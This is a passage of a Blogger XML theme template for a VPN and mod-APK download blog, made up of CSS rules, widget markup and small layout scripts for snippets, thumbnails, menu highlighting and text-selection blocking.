  1111. .relhead {background:#fff;font-size:100%;font-weight:normal;line-height:150%;overflow:hidden;padding:10px 0;}
  1112. #related-summary .news-text {visibility:hidden;opacity:0;position:absolute;top:-20px;left:0;text-align:left;background:rgba(255,255,255,0.95);color:#333;margin:10px;padding:10px;overflow:hidden;font-size:80%;max-height:110px;text-rendering:optimizeSpeed;text-overflow:ellipsis;}
  1113. #related-summary li:hover .news-text {top:0;visibility:visible;opacity:1;}
  1114. ul#related-summary {margin:0;padding:0;}
  1115. ul#related-summary li {position:relative;float:left;list-style:none outside none;margin:0;padding:0;overflow:hidden;width:25%;}
  1116. ul#related-summary li a {display:block;}
  1117. ul#related-summary li img{background-color:#fafafa;width:95%;height:auto;max-width:100%;margin:0 auto;vertical-align:middle;transition:all 1s ease-out}
  1118. ul#related-summary li img:hover {opacity:0.96;}
  1119. ul#related-summary li a.relinkjdulx{color:#444;display:block;font-size:14px;font-weight:bold;line-height:normal;overflow:hidden;text-align:left;padding-left: 10px;text-transform:none}
  1120. ul#related-summary li a.relinkjdulx:hover{color:#444;text-decoration:underline}
  1121. @media only screen and (max-width: 500px){
  1122. ul#related-summary li {
  1123. border-bottom: 1px solid #e3e3e3;
  1124. margin-bottom: 15px;
  1125. width: 100%;
  1126. }
  1127. ul#related-summary li img {
  1128. width: 30%;
  1129. float: left;
  1130. }
  1131. }
  1132.  
  1133. /* CSS Follow by email */
  1134. .post-body .follow-by-email-inner{position:relative;margin-top:20px;display:block;background:#4399cd;padding:20px;color:#fff;box-shadow:inset 0 0 0 1px #3788b9}
  1135. .post-body .follow-by-email-inner:before{content:&quot; Never miss our latest news, subscribe here for free &quot;;display:table;font-size:16px;font-weight:400;margin:auto}
  1136. .post-body input.follow-by-email-address{position:relative;float:right;background:#fff;color:#444;border:1px solid #ccc;border-right:0;font-size:14px;height:42px;line-height:42px;padding-left:15px;transition:all .2s}
  1137. .post-body input.follow-by-email-address:focus {outline:none;color:#444;border-color:#ea5a50;}
  1138. input.follow-by-email-submit{background:#5cb6ed;color:#fff;cursor:pointer;font-size:15px;height:42px;line-height:42px;width:80px;z-index:0;border:1px solid #5cb6ed;margin-left:-2px;transition:all .2s}
  1139. input.follow-by-email-submit:hover {outline:none;background:#ea5a50;color:#fff;}
  1140. .post-body .tabletd1 {width:auto;}
  1141. .post-body .tabletd1 td{border:0;padding:0;text-align:center;vertical-align:middle}
  1142. .post-body .tabletd2 {width:0;}
  1143.  
  1144.  
  1145. /* CSS Navigation */
  1146. .pagenext{position:relative;padding:0;background:#fdfdfd;border-bottom:1px solid #e3e3e3;border-top:1px solid #e3e3e3;}
  1147. .pagenext-kiri{width:50%;float:left;margin:0;padding:20px 10px 20px 40px;text-align:left;color:#4399cd;transition:all .3s ease-out;}
  1148. .pagenext-kanan{width:50%;float:right;margin:0;padding:20px 40px 20px 10px;text-align:right;color:#4399cd;border-left:1px solid #ddd;transition:all .3s ease-out}
  1149. .pagenext-kanan:hover .pager-title-left,.pagenext-kiri:hover .pager-title-left{color:#444!important;}
  1150. .pagenext-kiri a,.pagenext-kanan a{color:#666;}
  1151. .pagenext-kanan a:hover,.pagenext-kiri a:hover{color:#444!important;}
  1152. .pagenext-kiri a,.pagenext-kanan a,.current-pageleft,.current-pageright{font-size:14px;font-family: &#39;Roboto Condensed&#39;,Helvetica,Arial,sans-serif;font-weight:400;background:none;text-decoration:none}
  1153. .current-pageleft{padding:0 0 0 15px;}
  1154. .current-pageright{padding:0 15px 0 0;}
  1155. .pager-title-left{font-weight:700;text-transform:uppercase;transition:all .3s ease-out}
  1156. .isipagenext-kiri{margin:0}
  1157. .isipagenext-kanan{margin:0}
  1158. .arrowri,.arrowle{position:absolute;top:50%;margin-top:-9px;color:#666;}
  1159. .arrowle{left:20px}
  1160. .arrowri{right:20px}
  1161.  
  1162.  
  1163. /* CSS Simple Pre Code */
  1164. pre{background:#443e50;white-space:pre;word-wrap:break-word;overflow:auto}pre.code{margin:20px 0;border-radius:4px;position:relative}pre.code label{font-family:sans-serif;font-weight:normal;font-size:13px;color:#83cffd;position:absolute;left:1px;top:13px;text-align:center;width:60px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;pointer-events:none}pre.code code{font-family:&quot;Inconsolata&quot;,&quot;Monaco&quot;,&quot;Consolas&quot;,&quot;Andale Mono&quot;,&quot;Bitstream Vera Sans Mono&quot;,&quot;Courier New&quot;,Courier,monospace;display:block;margin:0 0 0 60px;padding:15px 16px 14px;border-left:1px solid #645b76;overflow-x:auto;font-size:13px;line-height:19px;color:#8f8fa4}pre.code-css code,pre.code-html code,pre.code-javascript code,pre.code-jquery code{color:#8f8fa4}
  1165.  
  1166. /* CSS Item Responsive */
  1167. @media only screen and (max-width:960px){
  1168. .bagitiga{-webkit-column-count:2;-moz-column-count:2;column-count:2;}}
  1169.  
  1170. @media print {
  1171. body{padding:0}
  1172. #uxlite-wrapper {border-right:none;border-left:none;}
  1173. #post-wrapper{width:100%;margin:0 auto;}
  1174. .uxlite-info {background:#fff;border:none;}
  1175. .post {background:#fff;margin:0 0 15px;padding:15px;border:none;}
  1176. h1.post-title {border-bottom:none;}
  1177. .post blockquote{background:transparent;color:#666;border:none;}
  1178. .uxlitetop-wrapper,#nav,.share-post,#backtotop,#search,.pagenext,#blog-pager,.banner,#banner,.banner2,#banner2,#sidebar-wrapper,#related-post,#comments,#footer-wrapper,#header-wrapper,div#banner,div#banner2,.ux-menulite,.sharebrow,h2.sharetitle,.uxlite-info{opacity:0;display:none;visibility:hidden;width:0;height:0;}
  1179. .status-msg-border{border:none;}}
  1180. </style>
  1181. </b:if>
  1182.  
  1183. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1184. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1185.  
  1186. <style type='text/css'>
  1187. .post {
  1188. height: 260px;}
  1189. .date-posts {
  1190. padding: 0 12px;
  1191. }
  1192. .titleh2 {
  1193. font-family: &#39;Roboto&#39;,sans-serif;
  1194. font-size: 20px;
  1195. margin-top: 0;
  1196. display: block;
  1197. margin-bottom: 0;
  1198. color: #fff;
  1199. font-weight: 300;
  1200. text-transform: uppercase;
  1201. padding-left: 10px;
  1202. margin: 0;
  1203. }
  1204. a#Blog1_blog-pager-older-link {
  1205. color: white;
  1206. }
  1207. #blog-pager-older-link:after {
  1208. z-index: -99999999999999999999999999;
  1209. content: &#39;&#39;;
  1210. position: absolute;
  1211. position: absolute;
  1212. top: inherit;
  1213. right: 0;
  1214. bottom: 0;
  1215. left: inherit;
  1216. width: 0;
  1217. height: 0;
  1218. border-bottom: 100px solid #999999;
  1219. border-left: 160px solid transparent;
  1220. }
  1221.  
  1222. .borpos {
  1223. overflow: hidden;
  1224. height: 229px;
  1225. padding: 10px;
  1226. }
  1227. abbr.published.updated {
  1228. right: 10px;
  1229. bottom: 5px;
  1230. position: absolute;
  1231. font-size: 10px;
  1232. text-decoration: none;
  1233. }
  1234. .post-outer {
  1235. margin: 10px 4px;
  1236. float: left;
  1237. width: 161px;
  1238.  
  1239. }
  1240. .post-outer:nth-child(1) {
  1241.  
  1242. }
  1243. .breadcrumbs {
  1244. display: none;}
  1245. /* CSS Post Wrapper */
  1246. .post {transition:all .6s ease-in-out;}
  1247. .post-body {line-height:1.6em;font-size:13px;text-overflow:ellipsis;}
  1248.  
  1249. h2.post-title:hover, h1.post-title:hover {color:#cf4d35;}
  1250. h2.post-title a, h1.post-title a {color:#111;padding:0;margin:0;}
  1251. h2.post-title a:hover, h1.post-title a:hover {color:#347fad!important;text-decoration:underline}
  1252. .uxlite-info a {display:inline;background:transparent;color:#666;padding-left:0;margin-bottom:10px;transition:all .3s ease-out;}
  1253. .author-info, .time-info, .comment-info, .review-info {display:inline;padding:0;}
  1254. .uxlite-info {padding-bottom: 5px;background:transparent;}
  1255. .author-info, .time-info, .comment-info, .review-info, .uxlite-info a {color:#aaa;}
  1256. .author-info, .time-info, .comment-info, .review-info {margin-right:8px;}
  1257. .img-thumbnail { text-align: center;
  1258. overflow: hidden;
  1259. position: relative;
  1260. margin: auto;
  1261. z-index: 1;
  1262. padding-bottom: 10px;}
  1263. .img-thumbnail img {width:75px;height:75px;transform:scale(1.0);backface-visibility:hidden;transition:transform .9s;}
  1264. .img-thumbnail:hover img {transform:scale(1.05);transition:transform 1.8s;}
  1265. #sidebar-wrapper {margin:0 auto;}
  1266. @media only screen and (max-width: 400px){
  1267. .post-outer {
  1268. margin: 10px 4px;
  1269. float: left;
  1270. width: 47%;
  1271. }
  1272.  
  1273.  
  1274. }
  1275. /* CSS Label Info */
  1276. .post .label-info{margin:0;padding:0;display:inline-block;z-index:2}
  1277. .label-info a{
  1278. position:relative;color:#A2CB23;font-size:10px;display:block;text-transform:uppercase;padding-right: 10px;line-height:normal;font-weight:700;margin:0;transition:all .3s ease-out}
  1279. .label-info a:hover{background:#dea852;color:#fff;opacity:1;}
  1280. .label-info a:nth-child(n+2){display:none;}
  1281.  
  1282. </style>
  1283. </b:if>
  1284. </b:if>
  1285.  
  1286. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  1287. <style type='text/css'>
  1288. div#Blog1 {
  1289. background: white;}
  1290. .breadcrumbs {
  1291. display: none;
  1292. }
  1293. #comments{display:none;}
  1294. .post img{background:#f3f3f3;height:auto;max-width:95%;margin-bottom:2.0px;box-shadow:none;transition:all 0.6s ease-out;}
  1295. .post img:hover {opacity:0.95;}
  1296. .uxlite-info {background:#69bedd;}
  1297. .author-info, .time-info, .comment-info, .label-info, .review-info, .uxlite-info a {color:#fff;}
  1298.  
  1299. @media print {
  1300. body{padding:0}
  1301. #post-wrapper{width:100%;margin:0 auto;}
  1302. .post {background:#fff;margin:0 0 15px;padding:15px;}
  1303. .post blockquote{background:transparent;color:#666;border:none;}
  1304. nav,.share-post,#backtotop,#search,.pagenext,#blog-pager,#menu-wrap,.banner,#banner,#sidebar-wrapper,#subs-and-redat,#comments,#footer-wrapper,#header-wrapper,div#banner{display:none;visibility:hidden;width:0;height:0;}}
  1305. </style>
  1306. </b:if>
  1307.  
  1308. <b:if cond='data:blog.pageType == &quot;error_page&quot;'>
  1309. <style type='text/css'>
  1310. .headmen {
  1311. display: none;
  1312. }
  1313. #uxlite-wrapper,#nav,.uxlitetop-wrapper {display:none;}
  1314. #footer-wrapper,#header-wrapper{visibility:hidden;opacity:0;width:0;height:0}
  1315. .error-container{background-image: url(http://1.bp.blogspot.com/-zHS2luoiNTM/VTZJiQmK7RI/AAAAAAAAJxw/D1Kiy-euLXM/s1600/blog-bg.jpg);background-size:cover;}
  1316. #footer-wrapper {background-color:transparent;margin:auto;margin-top:-60px;padding:20px;}
  1317. #copyright{color:#dcdbe2;}
  1318. #copyright a{color:#ed522e;}
  1319. #copyright a:hover{color:#dcdbe2;}
  1320. .error-header{margin-top:-100px}
  1321. .error-title{line-height:42px}
  1322. .error-title span{background:#d44929;padding:2px 10px;}
  1323. .error-image img{display:block;font-size:72px;font-weight:700;height:150px;margin:10px auto 40px}
  1324. .error-container{background-color:#101524;display:table;height:100vh;overflow-x:hidden;width:100%}
  1325. .error404 .anonymous{margin:0 auto 20px;display:block}
  1326. .error-404{background:rgba(0,0,0,.7);display:table-cell;vertical-align:middle}
  1327. .error-404 .page-content p{color:#c8c8c8}
  1328. .error-title{color:#fff;font-family:&#39;Open Sans&#39;,sans-serif;font-size:42px;font-weight:700;text-transform:uppercase;margin:.67em 0;text-align:center;line-height:normal;}
  1329. .search-title{font-size:48px;color:#3f3f46}
  1330. .page-content,.page-content p{color:#797979;font-size:18px;text-align:center}
  1331. a.btn.back-to-home{background:#4fafe9;color:#fff;font-weight:400;left:40px;line-height:24px;padding:10px 30px;position:absolute;text-transform:capitalize;top:40px;z-index:99;border-radius:4px}
  1332. a.back-to-home:hover{background:#459dd3;color:#fff;}
  1333. a.back-to-home i{font-size:14px;margin-right:3px}
  1334. @media only screen and (max-width:479px){
  1335. .back-button-container{max-width:80%;width:80%}.page-content .back-to-home{width:100%;margin:10px auto}.error-header{margin-top:30px}.error-title{font-size:24px;line-height:32px}.page-content,.page-content p{font-size:14px}.error-404{padding-bottom:60px}.page-footer{padding:20px 10px}}
  1336. </style>
  1337. </b:if>
  1338.  
  1339. <script async='async' src='https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js'/>
  1340. <script type='text/javascript'>
  1341. //<![CDATA[
  1342. //CSS Ready
  1343. function loadCSS(e, t, n) { "use strict"; var i = window.document.createElement("link"); var o = t || window.document.getElementsByTagName("script")[0]; i.rel = "stylesheet"; i.href = e; i.media = "only x"; o.parentNode.insertBefore(i, o); setTimeout(function () { i.media = n || "all" }) }
  1344. loadCSS("https://fonts.googleapis.com/css?family=Open+Sans:400italic,400,700");loadCSS("https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700");loadCSS("https://fonts.googleapis.com/css?family=Nunito+Sans:400,700,800,900");loadCSS("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css");loadCSS("https://fonts.googleapis.com/css?family=Roboto:400,500,700,900");loadCSS("https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600,600i,700,700i,900,900i");
  1345. //]]>
  1346. </script>
  1347. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1348. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1349. <script type='text/javascript'>
  1350. snippet_count = 40;
  1351. //<![CDATA[
  1352. // Snippet
  1353. function removeHtmlTag(n,e){if(-1!=n.indexOf("<")){for(var t=n.split("<"),i=0;i<t.length;i++)-1!=t[i].indexOf(">")&&(t[i]=t[i].substring(t[i].indexOf(">")+1,t[i].length));n=t.join("")}for(e=e<n.length-1?e:n.length-2;" "!=n.charAt(e-1)&&-1!=n.indexOf(" ",e);)e++;return n=n.substring(0,e-1),n+"..."}function createSnippet(n){var e=document.getElementById(n),t=snippet_count,i='<div class="snippets">'+removeHtmlTag(e.innerHTML,t)+"</div>";e.innerHTML=i}
  1354. // Thumbnail
  1355. function randi_thumbnail_resize(e,t){var n=75;var r=75;image_tag='<img width="'+n+'" height="'+r+'" src="'+e.replace("/s72-c/","/w"+n+"-h"+r+"-c/")+'" alt="'+t.replace(/"/g,"")+'" title="'+t.replace(/"/g,"")+'"/>';if(t!="")return image_tag;else return""}
  1356. //]]>
  1357. </script>
  1358. </b:if>
  1359. </b:if>
  1360. <script type='text/javascript'>
  1361. //<![CDATA[
  1362. function extractPageName(hrefString){
  1363. var arr = hrefString.split('/');
  1364. return (arr.length<2) ? hrefString : arr[arr.length-2].toLowerCase() + arr[arr.length-1].toLowerCase();}
  1365. function setActiveMenu(arr, crtPage){
  1366. for (var i=0; i<arr.length; i++){
  1367. if(extractPageName(arr[i].href) == crtPage){
  1368. if (arr[i].parentNode.tagName != "DIV"){
  1369. arr[i].className = "penanda-nav";
  1370. arr[i].parentNode.className = "penanda-nav";}}}}
  1371. function setPage(){hrefString = document.location.href ? document.location.href : document.location;
  1372. if (document.getElementById("id-menu-navigasi")!=null)setActiveMenu(document.getElementById("id-menu-navigasi")
  1373. .getElementsByTagName("a"), extractPageName(hrefString));
  1374. }
  1375. //]]>
  1376. </script>
  1377. <script type='text/javascript'>
  1378. if (typeof document.onselectstart!=&quot;undefined&quot;) {
  1379. document.onselectstart=new Function (&quot;return false&quot;);
  1380. }
  1381. else{
  1382. document.onmousedown=new Function (&quot;return false&quot;);
  1383. document.onmouseup=new Function (&quot;return true&quot;);
  1384. }
  1385. </script>
  1386. </head>
  1387. <body>
  1388. <b:if cond='data:blog.pageType == &quot;error_page&quot;'>
  1389. <div class='error-container'>
  1390. <a class='btn back-to-home' expr:href='data:blog.homepageUrl'><i class='fa fa-home fa-fw'/>Back to Home</a>
  1391. <section class='error-404 not-found text-center'>
  1392. <header class='error-header'>
  1393. <div class='error-image'>
  1394. <img alt='404' src='http://1.bp.blogspot.com/-Gb2gYMW4VC0/VTZJg0pSIrI/AAAAAAAAJxo/CXhWMecSCNI/s1600/anonymous.png'/>
  1395. </div>
  1396. <h1 class='error-title'><p><span>Oops!</span> That page can&#8217;t be found.</p> </h1>
  1397. </header>
  1398. <div class='page-content'>
  1399. <p>It looks like nothing was found at this location.</p>
  1400. </div>
  1401. </section>
  1402. </div>
  1403. </b:if>
  1404. <div class='headmen'>
  1405. <div class='hedeee'>
  1406. <div class='wrap'>
  1407. <form action='/search' class='search-form' method='get'>
  1408. <label for='search-field'><span class='screen-reader-text'>To search this site, enter a search term</span></label>
  1409. <input aria-required='false' autocomplete='off' class='search-field' id='search-field' name='q' placeholder='Search n Enter . . .' type='text' value=''/>
  1410. <button class='search-submit'><span class='screen-reader-text'>Search</span><i class='fa fa-search'/></button>
  1411. </form>
  1412.  
  1413. </div>
  1414.  
  1415. <div id='header-wrapper' itemscope='itemscope' itemtype='http://schema.org/WPHeader'>
  1416. <div class='header-wrapp'>
  1417. <b:section class='header section' id='header' maxwidgets='1' showaddelement='no'>
  1418. <b:widget id='Header1' locked='true' title='VPNMOD | Download VPN Free (Header)' type='Header' version='1'>
  1419. <b:widget-settings>
  1420. <b:widget-setting name='displayUrl'>http://2.bp.blogspot.com/-GIGstyBhBmQ/XElybVPVTxI/AAAAAAAAAi4/mPsfS91u_TIvXuVa1XyEhMJRHeZCHJ_rQCK4BGAYYCw/s1600/vpnmod.png</b:widget-setting>
  1421. <b:widget-setting name='displayHeight'>96</b:widget-setting>
  1422. <b:widget-setting name='sectionWidth'>150</b:widget-setting>
  1423. <b:widget-setting name='useImage'>true</b:widget-setting>
  1424. <b:widget-setting name='shrinkToFit'>false</b:widget-setting>
  1425. <b:widget-setting name='imagePlacement'>REPLACE</b:widget-setting>
  1426. <b:widget-setting name='displayWidth'>435</b:widget-setting>
  1427. </b:widget-settings>
  1428. <b:includable id='main'>
  1429. <b:if cond='data:useImage'>
  1430. <b:if cond='data:imagePlacement == &quot;BEHIND&quot;'>
  1431. <!--
  1432. Show image as background to text. You can't really calculate the width
  1433. reliably in JS because margins are not taken into account by any of
  1434. clientWidth, offsetWidth or scrollWidth, so we don't force a minimum
  1435. width if the user is using shrink to fit.
  1436. This results in a margin-width's worth of pixels being cropped. If the
  1437. user is not using shrink to fit then we expand the header.
  1438. -->
  1439. <b:if cond='data:mobile'>
  1440. <div id='header-inner'>
  1441. <div class='titlewrapper' style='background: transparent'>
  1442. <b:include name='title'/>
  1443. </div>
  1444. <b:include name='description'/>
  1445. </div>
  1446. <b:else/>
  1447. <div expr:style='&quot;background-image: url(\&quot;&quot; + data:sourceUrl + &quot;\&quot;); &quot; + &quot;background-position: &quot; + data:backgroundPositionStyleStr + &quot;; &quot; + data:widthStyleStr + &quot;min-height: &quot; + data:height + &quot;_height: &quot; + data:height + &quot;background-repeat: no-repeat; &quot;' id='header-inner'>
  1448. <div class='titlewrapper' style='background: transparent'>
  1449. <b:include name='title'/>
  1450. </div>
  1451. <b:include name='description'/>
  1452. </div>
  1453. </b:if>
  1454. <b:else/>
  1455. <!--Show the image only-->
  1456. <div id='header-inner'>
  1457. <a expr:href='data:blog.homepageUrl' style='display: block'>
  1458. <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_headerimg&quot;' expr:src='data:sourceUrl' expr:width='data:width' style='display: block'/>
  1459. </a>
  1460. <!--Show the description-->
  1461. <b:if cond='data:imagePlacement == &quot;BEFORE_DESCRIPTION&quot;'>
  1462. <b:include name='description'/>
  1463. </b:if>
  1464. </div>
  1465. </b:if>
  1466. <b:else/>
  1467. <!--No header image -->
  1468. <div id='header-inner'>
  1469. <div class='titlewrapper'>
  1470. <b:include name='title'/>
  1471. </div>
  1472. <b:include name='description'/>
  1473. </div>
  1474. </b:if>
  1475. </b:includable>
  1476. <b:includable id='description'>
  1477. <div class='descriptionwrapper'>
  1478. <p class='description'><span><data:description/></span></p>
  1479. </div>
  1480. </b:includable>
  1481. <b:includable id='title'>
  1482. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1483. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1484. <h1 class='title'>
  1485. <a expr:href='data:blog.homepageUrl' expr:title='data:blog.title' itemprop='url'>
  1486. <span itemprop='name'><data:title/></span>
  1487. </a>
  1488. </h1>
  1489. <b:else/>
  1490. <h2 class='title'>
  1491. <a expr:href='data:blog.homepageUrl' expr:title='data:blog.title' itemprop='url'>
  1492. <span itemprop='name'><data:title/></span>
  1493. </a>
  1494. </h2>
  1495. </b:if>
  1496. <b:else/>
  1497. <h2 class='title'>
  1498. <a expr:href='data:blog.homepageUrl' expr:title='data:blog.title' itemprop='url'>
  1499. <span itemprop='name'><data:title/></span>
  1500. </a>
  1501. </h2>
  1502. </b:if>
  1503. </b:includable>
  1504. </b:widget>
  1505. </b:section>
  1506.  
  1507. </div>
  1508. </div>
  1509.  
  1510. <nav id='id-menu-navigasi'>
  1511. <input type='checkbox'/>
  1512. <label><i class='fa fa-list-ul'/></label>
  1513. <ul>
  1514. <li><a href='/' title='Home'>Home</a></li>
  1515. <li><a href='#' title='VPN'>VPN</a></li>
  1516. <li><a class='prett' href='#' title='Mod APK Android'>Mod APK Android</a>
  1517. <ul class='menus'>
  1518. <li><a href='#' title='Mod APK Unlimited'>Mod APK Unlimited</a></li>
  1519. <li><a href='#' title='Mod APK Free'>Mod APK Free</a></li>
  1520. <li><a href='#' title='Mod APK Full Version'>Mod APK Full Version</a></li>
  1521. </ul>
  1522. </li>
  1523. <li><a href='https://vpnmod.blogspot.com/p/sitemaps.html' title='Sitemaps'>Sitemaps</a></li>
  1524. <li><a href='https://vpnmod.blogspot.com/p/contact.html' title='Contact'>Contact</a></li>
  1525. <li><a class='prett' href='#' title='Pripacy'>Pripacy</a>
  1526. <ul class='menus'>
  1527. <li><a href='#' title='DCMA'>DCMA</a></li>
  1528. <li><a href='#' title='TOS'>TOS</a></li>
  1529. <li><a href='#' title='Disclaimer'>Disclaimer</a></li>
  1530. </ul>
  1531. </li>
  1532.  
  1533. </ul>
  1534. <script language='javascript'>setPage()</script>
  1535. </nav>
  1536. <div class='clear'/>
  1537. </div></div>
  1538. <div id='uxlite-wrapper'>
  1539. <div id='content-wrapper' itemscope='itemscope' itemtype='http://schema.org/Blog' role='main'>
  1540. <b:section class='banner section' id='banner' maxwidgets='1' showaddelement='yes'/>
  1541. <div class='clear'/>
  1542. <div id='post-wrapper'>
  1543. <div class='post-inner'>
  1544. <b:if cond='data:blog.url == data:blog.homepageUrl'>
  1545. <h2 class='titleh2'><data:messages.latestPosts/></h2>
  1546. </b:if>
  1547. <b:section class='main' id='main' maxwidgets='3' showaddelement='yes'>
  1548. <b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog' version='1'>
  1549. <b:widget-settings>
  1550. <b:widget-setting name='showDateHeader'>false</b:widget-setting>
  1551. <b:widget-setting name='style.textcolor'>#000000</b:widget-setting>
  1552. <b:widget-setting name='showShareButtons'>true</b:widget-setting>
  1553. <b:widget-setting name='authorLabel'>By</b:widget-setting>
  1554. <b:widget-setting name='showCommentLink'>true</b:widget-setting>
  1555. <b:widget-setting name='style.urlcolor'>#008000</b:widget-setting>
  1556. <b:widget-setting name='showAuthor'>true</b:widget-setting>
  1557. <b:widget-setting name='disableGooglePlusShare'>false</b:widget-setting>
  1558. <b:widget-setting name='style.linkcolor'>#0000ff</b:widget-setting>
  1559. <b:widget-setting name='style.unittype'>TextAndImage</b:widget-setting>
  1560. <b:widget-setting name='style.bgcolor'>#ffffff</b:widget-setting>
  1561. <b:widget-setting name='showAuthorProfile'>true</b:widget-setting>
  1562. <b:widget-setting name='style.layout'>1x1</b:widget-setting>
  1563. <b:widget-setting name='showLabels'>true</b:widget-setting>
  1564. <b:widget-setting name='showLocation'>false</b:widget-setting>
  1565. <b:widget-setting name='showTimestamp'>true</b:widget-setting>
  1566. <b:widget-setting name='postsPerAd'>1</b:widget-setting>
  1567. <b:widget-setting name='showBacklinks'>true</b:widget-setting>
  1568. <b:widget-setting name='style.bordercolor'>#ffffff</b:widget-setting>
  1569. <b:widget-setting name='showInlineAds'>false</b:widget-setting>
  1570. <b:widget-setting name='showReactions'>true</b:widget-setting>
  1571. </b:widget-settings>
  1572. <b:includable id='main' var='top'>
  1573. <b:include data='posts' name='breadcrumb'/>
  1574. <b:if cond='data:mobile == &quot;false&quot;'>
  1575. <!-- posts -->
  1576. <div class='blog-posts hfeed'>
  1577. <b:include data='top' name='status-message'/>
  1578. <data:defaultAdStart/>
  1579. <b:loop values='data:posts' var='post'>
  1580. <b:if cond='data:post.isDateStart'>
  1581. <b:if cond='data:post.isFirstPost == &quot;false&quot;'>
  1582. &lt;/div&gt;&lt;/div&gt;
  1583. </b:if>
  1584. </b:if>
  1585. <b:if cond='data:post.isDateStart'>
  1586. &lt;div class=&quot;date-outer&quot;&gt;
  1587. </b:if>
  1588. <b:if cond='data:post.isDateStart'>
  1589. &lt;div class=&quot;date-posts&quot;&gt;
  1590. </b:if>
  1591. <div class='post-outer'>
  1592. <b:include data='post' name='post'/>
  1593. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  1594. <b:include data='post' name='comments'/>
  1595. </b:if>
  1596. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1597. <b:include data='post' name='comments'/>
  1598. </b:if>
  1599. </div>
  1600. <b:if cond='data:post.includeAd'>
  1601. <b:if cond='data:post.isFirstPost'>
  1602. <data:defaultAdEnd/>
  1603. <b:else/>
  1604. <data:adEnd/>
  1605. </b:if>
  1606. <div class='inline-ad'>
  1607. <data:adCode/>
  1608. </div>
  1609. <data:adStart/>
  1610. </b:if>
  1611. </b:loop>
  1612. <b:if cond='data:numPosts != 0'>
  1613. &lt;/div&gt;&lt;/div&gt;
  1614. </b:if>
  1615. <data:adEnd/>
  1616. </div>
  1617. <!-- navigation -->
  1618. <b:include name='nextprev'/>
  1619. <!-- feed links -->
  1620. <b:include name='feedLinks'/>
  1621. <b:if cond='data:top.showStars'>
  1622. <script src='//www.google.com/jsapi' type='text/javascript'/>
  1623. <script type='text/javascript'>google.load(&quot;annotations&quot;,&quot;1&quot;,{locale:&quot;<data:top.languageCode/>&quot;});function initialize(){google.annotations.setApplicationId(<data:top.blogspotReviews/>);google.annotations.createAll();google.annotations.fetch()}google.setOnLoadCallback(initialize);</script>
  1624. </b:if>
  1625. <b:else/>
  1626. <b:include name='mobile-main'/>
  1627. </b:if>
  1628. <b:if cond='data:top.showDummy'>
  1629. <data:top.dummyBootstrap/>
  1630. </b:if>
  1631. </b:includable>
  1632. <b:includable id='backlinkDeleteIcon' var='backlink'>
  1633. <span expr:class='&quot;item-control &quot; + data:backlink.adminClass'>
  1634. <a expr:href='data:backlink.deleteUrl' expr:title='data:top.deleteBacklinkMsg'>
  1635. <img src='//www.blogger.com/img/icon_delete13.gif'/>
  1636. </a>
  1637. </span>
  1638. </b:includable>
  1639. <b:includable id='backlinks' var='post'>
  1640. <a name='links'/><h4><data:post.backlinksLabel/></h4>
  1641. <b:if cond='data:post.numBacklinks != 0'>
  1642. <dl class='comments-block' id='comments-block'>
  1643. <b:loop values='data:post.comments' var='comment'>
  1644. <dt class='comment-author' id='comment-author'>
  1645. <a expr:name='data:comment.anchorName'/>
  1646. <b:if cond='data:comment.authorUrl'>
  1647. <a expr:href='data:comment.authorUrl' rel='nofollow'><data:comment.author/></a>
  1648. <b:else/>
  1649. <data:comment.author/>
  1650. </b:if>
  1651. <data:commentPostedByMsg/>
  1652. </dt>
  1653. <dd class='comment-body'>
  1654. <b:if cond='data:comment.isDeleted'>
  1655. <span class='deleted-comment'><data:comment.body/></span>
  1656. <b:else/>
  1657. <p><data:comment.body/></p>
  1658. </b:if>
  1659. </dd>
  1660. <dd class='comment-footer'>
  1661. <span class='comment-timestamp'> <i><data:comment.timestamp/></i> <b:include data='comment' name='commentDeleteIcon'/> </span>
  1662. </dd>
  1663. </b:loop>
  1664. </dl>
  1665. </b:if>
  1666. <p class='comment-footer'> <a class='comment-link' expr:href='data:post.createLinkUrl' expr:id='data:widget.instanceId + &quot;_backlinks-create-link&quot;' target='_blank'><data:post.createLinkLabel/></a> </p>
  1667. </b:includable>
  1668. <b:includable id='breadcrumb' var='posts'>
  1669. <b:if cond='data:blog.homepageUrl != data:blog.url'>
  1670. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1671. <b:loop values='data:posts' var='post'>
  1672. <b:if cond='data:post.labels'>
  1673. <ol class='breadcrumbs' itemscope='itemscope' itemtype='http://schema.org/BreadcrumbList'>
  1674. <li><a expr:href='data:blog.homepageUrl' title='Home'>Home&amp;nbsp;</a><i class='fa fa-angle-right'/>&amp;nbsp;</li>
  1675. <b:loop index='num' values='data:post.labels' var='label'>
  1676. <li itemprop='itemListElement' itemscope='itemscope' itemtype='http://schema.org/ListItem'><a expr:href='data:label.url + &quot;?max-results=6&quot;' expr:title='data:label.name' itemprop='item' itemscope='itemscope' itemtype='http://schema.org/Thing'><span itemprop='name'><data:label.name/></span></a>&amp;nbsp;<i class='fa fa-angle-right'/>
  1677. <meta expr:content='data:num+1' itemprop='position'/>
  1678. </li>
  1679. </b:loop>
  1680. </ol>
  1681. </b:if>
  1682. </b:loop>
  1683. <b:else/>
  1684. <b:if cond='data:blog.pageType == &quot;archive&quot;'>
  1685. <!-- breadcrumb for the label archive page and search pages.. -->
  1686. <div class='breadcrumbs'>
  1687. <span class='breadhome'><a expr:href='data:blog.homepageUrl'>Home </a> &#8250; </span><span>Archives for <data:blog.pageName/></span>
  1688. </div>
  1689. <b:else/>
  1690. <b:if cond='data:blog.pageType == &quot;index&quot;'>
  1691. <div class='breadcrumbs'>
  1692. <b:if cond='data:blog.pageName == &quot;&quot;'>
